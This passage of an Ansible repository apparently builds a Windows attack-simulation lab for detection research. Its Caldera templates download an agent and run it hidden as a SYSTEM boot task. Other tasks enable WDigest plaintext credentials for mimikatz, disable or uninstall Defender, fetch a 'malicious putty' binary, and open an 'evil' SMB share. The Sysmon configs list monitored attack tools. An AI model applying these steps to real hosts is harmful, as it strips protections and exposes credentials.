22 | win_regedit:
23 | key: "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\{{ item }}"
24 | value: Retention
25 | datatype: dword
26 | data: "0"
27 | with_items:
28 | - 'Microsoft-Windows-Sysmon/Operational'
29 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/tasks/windows-sysmon.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - block:
4 | - name: check if sysmon archive is present
5 | win_stat:
6 | path: c:\Program Files\ansible\sysmon
7 | register: sysmondl
8 |
9 | - name: download sysmon
10 | win_get_url:
11 | url: "{{ win_sysmon_url }}"
12 | dest: 'c:\Program Files\ansible\{{ win_sysmon_url | basename }}'
13 | timeout: 60
14 | when: not sysmondl.stat.exists
15 |
16 | - name: unzip sysmon
17 | win_unzip:
18 | src: 'c:\Program Files\ansible\{{ win_sysmon_url | basename }}'
19 | dest: 'c:\Program Files\ansible\sysmon'
20 | creates: 'c:\Program Files\ansible\sysmon\sysmon.exe'
21 | when: not sysmondl.stat.exists
22 |
23 | - name: add sysmon to PATH
24 | win_path:
25 | elements: 'c:\Program Files\ansible\sysmon'
26 | when: not sysmondl.stat.exists
27 |
28 | - block:
29 | - name: Copy Sysmon template
30 | win_template:
31 | src: "{{ win_sysmon_template }}.j2"
32 | dest: 'c:\Program Files\ansible\{{ win_sysmon_template }}'
33 |
34 | - name: install sysmon with defined config
35 | win_command: '"c:\Program Files\ansible\sysmon\sysmon64.exe" -accepteula -i "c:\Program Files\ansible\{{ win_sysmon_template }}"'
36 |
37 | when: win_sysmon_template != ''
38 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/templates/SysmonConfig-Neo23x0-server.xml.j2:
--------------------------------------------------------------------------------
1 | {{ ansible_managed | comment('xml') }}
2 |
15 |
16 |
17 | MD5,SHA1,SHA256,IMPHASH
18 |
19 |
20 |
21 |
22 | microsoft
23 | windows
24 |
25 |
26 |
27 | splunk
28 | btool.exe
29 | SnareCore
30 | nxlog
31 | Microsoft Monitoring Agent\Agent\MonitoringHost.exe
32 | ClearMyTracksByProcess
33 |
34 |
35 |
36 | lsass.exe
37 | winlogon.exe
38 | svchost.exe
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | Windows\CurrentVersion\Run
49 | Windows\CurrentVersion\Image File Execution Options
50 | CurrentControlSet\Services
51 | Microsoft\Windows NT\CurrentVersion\Winlogon
52 | Microsoft\Windows\CurrentVersion\Policies\Explorer
53 | Microsoft\Windows\CurrentVersion\RunOnce
54 | System\CurrentControlSet\Services\Tcpip\parameters
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | 80
63 | 443
64 | 8080
65 | 3389
66 | cmd.exe
67 | PsExe
68 | winexe
69 | powershell
70 | cscript
71 | mstsc
72 | RTS2App
73 | RTS3App
74 | wmic
75 |
76 |
77 |
78 |
79 |
80 | lsass.exe
81 |
82 |
83 | wmiprvse.exe
84 | GoogleUpdate.exe
85 | LTSVC.exe
86 | taskmgr.exe
87 | VBoxService.exe # Virtual Box
88 | vmtoolsd.exe
89 | taskmgr.exe
90 | \Citrix\System32\wfshell.exe #Citrix process in C:\Program Files (x86)\Citrix\System32\wfshell.exe
91 | C:\Windows\System32\lsm.exe # System process under C:\Windows\System32\lsm.exe
92 | Microsoft.Identity.AadConnect.Health.AadSync.Host.exe # Microsoft Azure AD Connect Health Sync Agent
93 | C:\Program Files (x86)\Symantec\Symantec Endpoint Protection # Symantec
94 |
95 |
99 |
100 |
101 | verclsid.exe
102 | svchost.exe
103 |
104 |
106 |
107 | 0x1F0FFF
108 | 0x1F1FFF
109 | 0x1F2FFF
110 | 0x1F3FFF
111 |
112 | 0x1FFFFF
113 | unknown
114 |
115 |
116 |
117 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/templates/SysmonConfig-Neo23x0-workstations.xml.j2:
--------------------------------------------------------------------------------
1 | {{ ansible_managed | comment('xml') }}
2 |
16 |
17 |
18 | MD5,SHA1,SHA256,IMPHASH
19 |
20 |
21 |
22 |
23 | microsoft
24 | windows
25 |
26 |
27 |
28 | System
29 |
30 |
31 |
32 | WmiPrvSE.exe
33 | FireSvc.exe
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | Windows\CurrentVersion\Run
44 | Windows\CurrentVersion\Image File Execution Options
45 | CurrentControlSet\Services
46 | Microsoft\Windows NT\CurrentVersion\Winlogon
47 | Microsoft\Windows\CurrentVersion\Policies\Explorer
48 | Microsoft\Windows\CurrentVersion\RunOnce
49 | System\CurrentControlSet\Services\Tcpip\parameters
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 | chrome.exe
58 | iexplore.exe
59 | firefox.exe
60 | 8080
61 |
62 |
65 |
66 |
67 |
68 |
69 |
87 |
88 |
89 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/templates/SysmonConfig-Verbose.xml.j2:
--------------------------------------------------------------------------------
1 | {{ ansible_managed | comment('xml') }}
2 |
5 |
6 |
7 |
8 | *
9 |
10 |
11 |
12 | splunk
13 | btool.exe
14 | SnareCore
15 | nxlog
16 | winlogbeat
17 | Microsoft Monitoring Agent\Agent\MonitoringHost.exe
18 | C:\Program Files\NVIDIA Corporation\Display\
19 | C:\Program Files\Dell\SupportAssist\pcdrcui.exe
20 | C:\Program Files\Dell\SupportAssist\koala.exe
21 | C:\Program Files\Windows Defender
22 | C:\Windows\System32\audiodg.exe
23 | C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
24 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
25 | \Sysmon.exe
26 | C:\WIndows\System32\poqexec.exe /noreboot /transaction
27 |
28 |
29 |
30 |
31 |
32 | C:\Program Files\Microsoft Office\Office15\ONENOTE.EXE
33 | Spotify.exe
34 | OneDrive.exe
35 | AppData\Roaming\Dashlane\Dashlane.exe
36 | AppData\Roaming\Dashlane\DashlanePlugin.exe
37 | winlogbeat.exe
38 | C:\Windows\System32\spoolsv.exe
39 | C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
40 | C:\Program Files (x86)\Common Files\Acronis\SyncAgent\syncagentsrv.exe
41 | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
42 | C:\Windows\System32\CompatTelRunner.exe
43 | C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
44 | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
45 | C:\Windows\System32\mmc.exe
46 | C:\Program Files\Microsoft VS Code\Code.exe
47 |
48 |
49 |
50 |
51 |
52 | microsoft
53 | windows
54 | VMware
55 | Intel
56 |
57 |
58 |
59 | chrome.exe
60 | vmtoolsd.exe
61 | Sysmon.exe
62 | mmc.exe
63 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
64 | C:\Windows\System32\taskeng.exe
65 | C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
66 | C:\Program Files\Windows Defender\NisSrv.exe
67 | C:\Program Files\Windows Defender\MsMpEng.exe
68 |
69 |
70 |
71 |
72 |
73 | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
74 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
75 | \Sysmon.exe
76 |
77 |
78 |
79 | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
80 | C:\Windows\system32\taskeng.exe
81 | C:\Windows\system32\lsass.exe
82 | Sysmon.exe
83 | GoogleUpdate.exe
84 | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
85 | C:\Program Files\Windows Defender\MsMpEng.exe
86 | C:\Program Files\Microsoft VS Code\Code.exe
87 | C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
88 | C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
89 | C:\Windows\system32\mmc.exe
90 | C:\Program Files\Microsoft VS Code\Code.exe
91 | C:\Windows\system32\sihost.exe
92 | C:\Program Files\Windows Defender\MsMpEng.exe
93 | c:\Program Files\Microsoft VS Code\resources\app\out\vs\workbench\services\files\node\watcher\win32\CodeHelper.exe
94 | C:\Windows\system32\ApplicationFrameHost.exe
95 | C:\Windows\System32\taskhostw.exe
96 | C:\Windows\System32\RuntimeBroker.exe
97 |
98 |
99 |
100 | SearchIndexer.exe
101 | winlogbeat.exe
102 | C:\Windows\system32\mmc.exe
103 | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
104 | C:\Program Files\Microsoft VS Code\Code.exe
105 |
106 |
107 |
108 | C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
109 | C:\Windows\system32\mmc.exe
110 | C:\Windows\system32\taskeng.exe
111 | C:\Windows\System32\svchost.exe
112 | C:\Windows\system32\lsass.exe
113 | C:\Windows\Sysmon.exe
114 | GoogleUpdate.exe
115 | C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
116 | C:\Program Files\Windows Defender\NisSrv.exe
117 | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\Microsoft Print to PDF\PrinterDriverData
118 | LanguageList
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
--------------------------------------------------------------------------------
/ansible/roles/sysmon/templates/SysmonConfigCustom.xml.j2:
--------------------------------------------------------------------------------
1 | {{ ansible_managed | comment('xml') }}
2 |
3 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/tasks/firewall.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: adapt firewall rules for caldera
4 | win_shell: "{{ item }}"
5 | with_items:
6 | - Enable-NetFirewallRule -DisplayName 'File and Printer Sharing (SMB-In)'
7 | - Enable-NetFirewallRule -DisplayName 'Remote Scheduled Tasks Management (RPC)'
8 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - name: Copy caldera agent script for caldera on splunk_server
5 | win_template:
6 | src: caldera_agent.ps1.j2
7 | dest: C:\caldera_agent.ps1
8 | when: splunk_server == "1"
9 |
10 | - name: Copy caldera agent script for caldera on caldera_server
11 | win_template:
12 | src: caldera_agent_nosplunk.ps1.j2
13 | dest: C:\caldera_agent.ps1
14 | when: splunk_server == "0"
15 |
16 | - name: Create scheduled task for PS script
17 | win_scheduled_task:
18 | name: CalderaAgent
19 | description: Run a PowerShell script
20 | actions:
21 | - path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
22 | arguments: -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_agent.ps1
23 | triggers:
24 | - type: boot
25 | username: SYSTEM
26 | run_level: highest
27 | state: present
28 |
29 | - name: Run caldera agent
30 | win_shell: 'Start-ScheduledTask -TaskName "CalderaAgent"'
31 |
32 | - name: Copy caldera manx agent script for splunk_server
33 | win_template:
34 | src: caldera_manx_agent.ps1.j2
35 | dest: C:\caldera_manx_agent.ps1
36 | when: splunk_server == "1"
37 |
38 | - name: Copy caldera manx agent script for caldera_server
39 | win_template:
40 | src: caldera_manx_agent_nosplunk.ps1.j2
41 | dest: C:\caldera_manx_agent.ps1
42 | when: splunk_server == "0"
43 |
44 | - name: Create scheduled task for PS script
45 | win_scheduled_task:
46 | name: CalderaAgentManX
47 | description: Run a PowerShell script
48 | actions:
49 | - path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
50 | arguments: -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1
51 | triggers:
52 | - type: boot
53 | username: SYSTEM
54 | run_level: highest
55 | state: present
56 |
57 | - name: Run caldera manx agent
58 | win_shell: 'Start-ScheduledTask -TaskName "CalderaAgentManX"'
59 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/tasks/registry.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: WDigest caching must be enabled for mimikatz to detect plaintext credentials.
4 | win_regedit:
5 | key: HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest
6 | value: UseLogonCredential
7 | data: 1
8 | datatype: dword
9 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/tasks/windows.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Ensure Microsoft Visual C++ Redistributable for Visual Studio 2015 is present
4 | win_chocolatey:
5 | name: vcredist2015
6 | state: present
7 | ignore_errors: true
8 |
9 | - name: Ensure caldera agent directory exists
10 | win_file:
11 | path: 'C:\Program Files\cagent'
12 | state: directory
13 |
14 | - name: Download Caldera agent and dependencies
15 | win_get_url:
16 | url: "{{ item.u }}"
17 | dest: "{{ item.d }}"
18 | with_items: "{{ calderaagent_urls }}"
19 |
20 | - include: firewall.yml
21 | - include: registry.yml
22 |
23 | - name: retrieve Caldera server config from splunk_server
24 | win_get_url:
25 | url: 'https://{{ splunk_indexer_ip }}:8888/conf.yml'
26 | dest: 'C:\Program Files\cagent\conf.yml'
27 | when: splunk_server == "1"
28 |
29 | - name: retrieve Caldera server config from caldera_server
30 | win_get_url:
31 | url: 'https://{{ caldera_server_ip }}:8888/conf.yml'
32 | dest: 'C:\Program Files\cagent\conf.yml'
33 | when: splunk_server == "0"
34 |
35 | - name: Setup agent
36 | win_shell: cagent.exe --startup auto install
37 | args:
38 | chdir: 'C:\Program Files\cagent'
39 |
40 | - name: Start agent
41 | win_shell: cagent.exe start
42 | args:
43 | chdir: 'C:\Program Files\cagent'
44 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/templates/caldera_agent.ps1.j2:
--------------------------------------------------------------------------------
1 |
2 | $url="http://{{ splunk_indexer_ip }}:8888/file/download"
3 | $wc=New-Object System.Net.WebClient
4 | $wc.Headers.add("platform","windows")
5 | $wc.Headers.add("file","sandcat.go")
6 | $output="C:\Users\Public\sandcat.exe"
7 | $wc.DownloadFile($url,$output)
8 | C:\Users\Public\sandcat.exe -server http://{{ splunk_indexer_ip }}:8888 -group my_group -v
9 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/templates/caldera_agent_nosplunk.ps1.j2:
--------------------------------------------------------------------------------
1 |
2 | $url="http://{{ caldera_server_ip }}:8888/file/download"
3 | $wc=New-Object System.Net.WebClient
4 | $wc.Headers.add("platform","windows")
5 | $wc.Headers.add("file","sandcat.go")
6 | $output="C:\Users\Public\sandcat.exe"
7 | $wc.DownloadFile($url,$output)
8 | C:\Users\Public\sandcat.exe -server http://{{ caldera_server_ip }}:8888 -group my_group -v
9 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/templates/caldera_manx_agent.ps1.j2:
--------------------------------------------------------------------------------
1 | #manx splunk attack range TCP agent code
2 | if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};$server="http://{{ splunk_indexer_ip }}:8888";$socket="{{ splunk_indexer_ip }}:7010";$contact="tcp";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","manx.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact tcp" -WindowStyle hidden;
3 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/templates/caldera_manx_agent_nosplunk.ps1.j2:
--------------------------------------------------------------------------------
1 | #manx splunk attack range TCP agent code
2 | if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};$server="http://{{ caldera_server_ip }}:8888";$socket="{{ caldera_server_ip }}:7010";$contact="tcp";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","manx.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact tcp" -WindowStyle hidden;
3 |
--------------------------------------------------------------------------------
/ansible/roles/windows_caldera_agent/vars/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | caldera_win_temp_dir: 'c:\ansible\temp'
4 | caldera_server_conf: ''
5 | calderaagent_urls:
6 | - { u: 'https://github.com/mitre/caldera-agent/releases/download/v0.1.0/cagent.exe', c: 'sha256:a7a2269db0b90815390b8986b706212647506dfb988798b937ebf1b92e188d41', d: 'c:\Program Files\cagent\cagent.exe' }
7 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - include: set-hostname.yml
3 | - include: set-timezone.yml
4 | - include: windows-disable-defender.yml
5 | - include: windows-enable-ps-logging.yml
6 | - include: windows-enable-4688-cmd-line-audit.yml
7 | #- include: windows-security-configure-logging.yml
8 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/set-hostname.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Change the hostname
4 | win_hostname:
5 | name: "{{ hostname }}-{{ 9999999 | random }}"
6 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/set-timezone.yml:
--------------------------------------------------------------------------------
1 | - name: Set timezone
2 | community.windows.win_timezone:
3 | timezone: "{{ win_timezone }}"
4 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/windows-disable-defender.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - debug:
4 | var: ansible_distribution
5 |
6 | # - name: Disable Windows Defender for Windows 10
7 | # win_regedit:
8 | # path: "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender"
9 | # name: DisableAntiSpyware
10 | # type: dword
11 | # data: 1
12 | # when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation"
13 |
14 | - name: Disable Real-Time Protection of Windows Defender for Windows 10
15 | ignore_errors: yes
16 | win_regedit:
17 | path: "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection"
18 | name: DisableRealtimeMonitoring
19 | type: dword
20 | data: 1
21 | when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation"
22 |
23 | # - name: Disable Windows Defender in Windows Server windows_domain_controller
24 | # win_shell: 'Set-MpPreference -DisableRealtimeMonitoring 1'
25 | # when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation"
26 |
27 | # - name: Disable Windows Defender for Windows 10
28 | # ignore_errors: yes
29 | # win_shell: 'Set-MpPreference -DisableRealtimeMonitoring $true'
30 | # when: ansible_distribution == "Microsoft Windows 10 Enterprise Evaluation"
31 |
32 | - name: Disable Windows Defender in Windows Server windows_domain_controller
33 | win_shell: 'Uninstall-WindowsFeature -Name Windows-Defender'
34 | when: ansible_distribution == "Microsoft Windows Server 2016 Datacenter" or
35 | ansible_distribution == "Microsoft Windows Server 2016 Standard Evaluation"
36 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/windows-enable-4688-cmd-line-audit.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Enable Command Line Audit for Windows Sec. Events 4688
4 | ignore_errors: yes
5 | win_regedit:
6 | key: "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit"
7 | value: ProcessCreationIncludeCmdLine_Enabled
8 | datatype: dword
9 | data: 1
10 |
11 | - name: Enable New Process Creation. Events 4688
12 | ignore_errors: yes
13 | win_audit_policy_system:
14 | subcategory: Process Creation
15 | audit_type: success, failure
16 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/windows-enable-ps-logging.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Enable Windows Scriptblock Logging
4 | ignore_errors: yes
5 | win_regedit:
6 | key: "HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging"
7 | value: EnableScriptBlockLogging
8 | datatype: dword
9 | data: 1
10 |
11 | - name: Enable Windows Scriptblock Logging
12 | ignore_errors: yes
13 | win_regedit:
14 | key: "HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging"
15 | value: EnableScriptBlockInvocationLogging
16 | datatype: dword
17 | data: 1
18 |
19 | - name: restart machine
20 | win_reboot:
21 |
--------------------------------------------------------------------------------
/ansible/roles/windows_common/tasks/windows-security-configure-logging.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Enable Windows Security Logging "Account Logon"
4 | win_audit_policy_system:
5 | subcategory: Credential Validation
6 | audit_type: success, failure
7 |
8 | - name: Enable Windows Security Logging "Account Logon"
9 | win_audit_policy_system:
10 | subcategory: Kerberos Authentication Service
11 | audit_type: success, failure
12 |
13 | - name: Enable Windows Security Logging "Account Logon"
14 | win_audit_policy_system:
15 | subcategory: Kerberos Service Ticket Operations
16 | audit_type: success, failure
17 |
18 | - name: Enable Windows Security Logging "Account Management"
19 | win_audit_policy_system:
20 | subcategory: User Account Management
21 | audit_type: success, failure
22 |
23 | - name: Enable Windows Security Logging "Account Management"
24 | win_audit_policy_system:
25 | subcategory: Security Group Management
26 | audit_type: success, failure
27 |
28 | - name: Enable Windows Security Logging "Account Management"
29 | win_audit_policy_system:
30 | subcategory: Distribution Group Management
31 | audit_type: success, failure
32 |
33 | - name: Enable Windows Security Logging "Account Management"
34 | win_audit_policy_system:
35 | subcategory: Computer Account Management
36 | audit_type: success, failure
37 |
38 | - name: Enable Windows Security Logging "Detailed Tracking"
39 | win_audit_policy_system:
40 | subcategory: Process Creation
41 | audit_type: success, failure
42 |
43 | - name: Enable Windows Security Logging "Detailed Tracking"
44 | win_audit_policy_system:
45 | subcategory: Process Termination
46 | audit_type: success, failure
47 |
48 | - name: Enable Windows Security Logging "Detailed Tracking"
49 | win_audit_policy_system:
50 | subcategory: Directory Service Access
51 | audit_type: success, failure
52 |
53 | - name: Enable Windows Security Logging "Logon Logoff"
54 | win_audit_policy_system:
55 | subcategory: Account Lockout
56 | audit_type: success, failure
57 |
58 | - name: Enable Windows Security Logging "Logon Logoff"
59 | win_audit_policy_system:
60 | subcategory: Logoff
61 | audit_type: success, failure
62 |
63 | - name: Enable Windows Security Logging "Logon Logoff"
64 | win_audit_policy_system:
65 | subcategory: Logon
66 | audit_type: success, failure
67 |
68 | - name: Enable Windows Security Logging "Logon Logoff"
69 | win_audit_policy_system:
70 | subcategory: Special Logon
71 | audit_type: success, failure
72 |
73 | - name: Enable Windows Security Logging "Object Access"
74 | win_audit_policy_system:
75 | subcategory: Detailed File Share
76 | audit_type: success, failure
77 |
78 | - name: Enable Windows Security Logging "Object Access"
79 | win_audit_policy_system:
80 | subcategory: File Share
81 | audit_type: success, failure
82 |
83 | - name: Enable Windows Security Logging "Object Access"
84 | win_audit_policy_system:
85 | subcategory: Filtering Platform Connection
86 | audit_type: success, failure
87 |
88 | - name: Enable Windows Security Logging "Object Access"
89 | win_audit_policy_system:
90 | subcategory: Kernel Object
91 | audit_type: success, failure
92 |
93 | - name: Enable Windows Security Logging "Object Access"
94 | win_audit_policy_system:
95 | subcategory: Other Object Access Events
96 | audit_type: success, failure
97 |
98 | - name: Enable Windows Security Logging "Object Access"
99 | win_audit_policy_system:
100 | subcategory: Registry
101 | audit_type: success, failure
102 |
103 | - name: Enable Windows Security Logging "Object Access"
104 | win_audit_policy_system:
105 | subcategory: Removable Storage
106 | audit_type: success, failure
107 |
108 | - name: Enable Windows Security Logging "Object Access"
109 | win_audit_policy_system:
110 | subcategory: SAM
111 | audit_type: success, failure
112 |
113 | - name: Enable Windows Security Logging "Privilege Use"
114 | win_audit_policy_system:
115 | subcategory: Sensitive Privilege Use
116 | audit_type: success, failure
117 |
118 | - name: Enable Windows Security Logging "System"
119 | win_audit_policy_system:
120 | subcategory: Security State Change
121 | audit_type: success, failure
122 |
--------------------------------------------------------------------------------
/ansible/roles/windows_dns_server/tasks/features.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: features | Installing Windows DNS Server
3 | win_feature:
4 | name: DNS
5 | state: present
6 | include_management_tools: yes
7 | include_sub_features: yes
8 | register: _windows_dns_server
9 |
--------------------------------------------------------------------------------
/ansible/roles/windows_dns_server/tasks/main.yaml:
--------------------------------------------------------------------------------
1 | - include: features.yml
2 | - include: reboot.yml
3 |
--------------------------------------------------------------------------------
/ansible/roles/windows_dns_server/tasks/reboot.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: reboot | Rebooting Server
3 | win_reboot:
4 | reboot_timeout_sec: 3600
5 | when: >
6 | _windows_dns_server['restart_needed'] is defined and
7 | _windows_dns_server['restart_needed']
8 |
--------------------------------------------------------------------------------
/ansible/roles/windows_domain_client/files/join_domain.ps1:
--------------------------------------------------------------------------------
1 |
2 | $domain = $args[0]
3 | $password = $args[2] | ConvertTo-SecureString -asPlainText -Force
4 | $username = $args[1]
5 | $credential = New-Object System.Management.Automation.PSCredential($username,$password)
6 | Add-Computer -DomainName $domain -Credential $credential
7 |
--------------------------------------------------------------------------------
/ansible/roles/windows_domain_client/tasks/copy_malicious_putty.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Download Splunk puttyX.exe from S3 bucket
4 | win_shell: |
5 | [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls"
6 | (New-Object System.Net.WebClient).DownloadFile("https://attack-range-appbinaries.s3-us-west-2.amazonaws.com/puttyX.exe", "C:\puttyX.exe")
7 |
8 | # - name: copy malicious putty
9 | # win_copy:
10 | # src: puttyX.exe
11 | # dest: C:\puttyX.exe
12 |
13 | - name: Create new SMB share
14 | win_shell: New-SmbShare -Name evil -Path C:\ -FullAccess attackrange\Administrator
15 |
--------------------------------------------------------------------------------
/ansible/roles/windows_domain_client/tasks/create.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Change dns server to domain controller
4 | win_dns_client:
5 | adapter_names: "{{ ansible_interfaces.0.connection_name }}"
6 | ipv4_addresses: "{{ windows_domain_controller_private_ip }}"
7 |
8 | - name: reboot | Rebooting Server
9 | win_reboot:
10 |
11 | - pause:
12 | minutes: 3
13 | when: use_packer == "1"
14 |
15 | - name: Copy join domain script to host
16 | win_copy:
17 | src: "join_domain.ps1"
18 | dest: 'C:\join_domain.ps1'
19 |
20 | - name: Run join domain
21 | win_shell: "C:\\join_domain.ps1 attackrange.local Administrator@attackrange.local {{ win_password }}"
22 | register: win_shell_output
23 |
24 | # - debug:
25 | # var: win_shell_output
26 |
27 | - win_reboot:
28 |
--------------------------------------------------------------------------------
/ansible/roles/windows_domain_client/tasks/main.yaml:
--------------------------------------------------------------------------------
1 | - debug:
2 | var: windows_server_join_domain
3 |
4 | - include: create.yml
5 | when: windows_server_join_domain == "1"
6 |
7 | - include: copy_malicious_putty.yml
8 | when:
9 | - run_demo == "1"
10 | - demo_scenario == "mission_control_malicious_putty"
11 | - ansible_distribution == "Microsoft Windows Server 2016 Datacenter" or ansible_distribution == "Microsoft Windows Server 2016 Standard Evaluation"
12 |
--------------------------------------------------------------------------------
/ansible/roles/windows_domain_controller/tasks/create.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: set local admin password
4 | win_user:
5 | name: Administrator
6 | password: "{{ win_password }}"
7 | state: present
8 |
9 | - name: features | Installing RSAT AD Admin Center
10 | win_feature:
11 | name: RSAT-AD-AdminCenter
12 | state: present
13 |
14 | - name: features | Installing AD Domain Services
15 | win_feature:
16 | name: AD-Domain-Services
17 | include_management_tools: yes
18 | include_sub_features: yes
19 | state: present
20 |
21 | - name: Creating a windows domain
22 | win_domain:
23 | dns_domain_name: "attackrange.local"
24 | safe_mode_password: "{{ win_password }}"
25 |
26 | - name: Setting DNS Servers
27 | win_dns_client:
28 | adapter_names: "*"
29 | ipv4_addresses: "127.0.0.1"
30 |
31 | - name: reboot | Rebooting Server
32 | win_reboot:
33 | post_reboot_delay: 300
34 |
35 | - name: Managing Domain Controller Membership
36 | win_domain_controller:
37 | dns_domain_name: "attackrange.local"
38 | domain_admin_user: "Administrator@attackrange.local"
39 | domain_admin_password: "{{ win_password }}"
40 | safe_mode_password: "{{ win_password }}"
41 | state: "domain_controller"
42 | register: _windows_domain_controller
43 |
--------------------------------------------------------------------------------
/ansible/roles/windows_domain_controller/tasks/main.yaml:
--------------------------------------------------------------------------------
1 | - include: create.yml
2 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/files/atomic_red_team_execution_inputs.conf:
--------------------------------------------------------------------------------
1 | [monitor://C:\AtomicRedTeam\atc_execution.csv]
2 | disabled = false
3 | index = attack
4 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/files/nxlog.conf:
--------------------------------------------------------------------------------
1 | Panic Soft
2 | #NoFreeOnExit TRUE
3 |
4 | define ROOT C:\Program Files (x86)\nxlog
5 | define CERTDIR %ROOT%\cert
6 | define CONFDIR %ROOT%\conf
7 | define LOGDIR %ROOT%\data
8 | define LOGFILE %LOGDIR%\nxlog.log
9 | LogFile %LOGFILE%
10 |
11 | Moduledir %ROOT%\modules
12 | CacheDir %ROOT%\data
13 | Pidfile %ROOT%\data\nxlog.pid
14 | SpoolDir %ROOT%\data
15 |
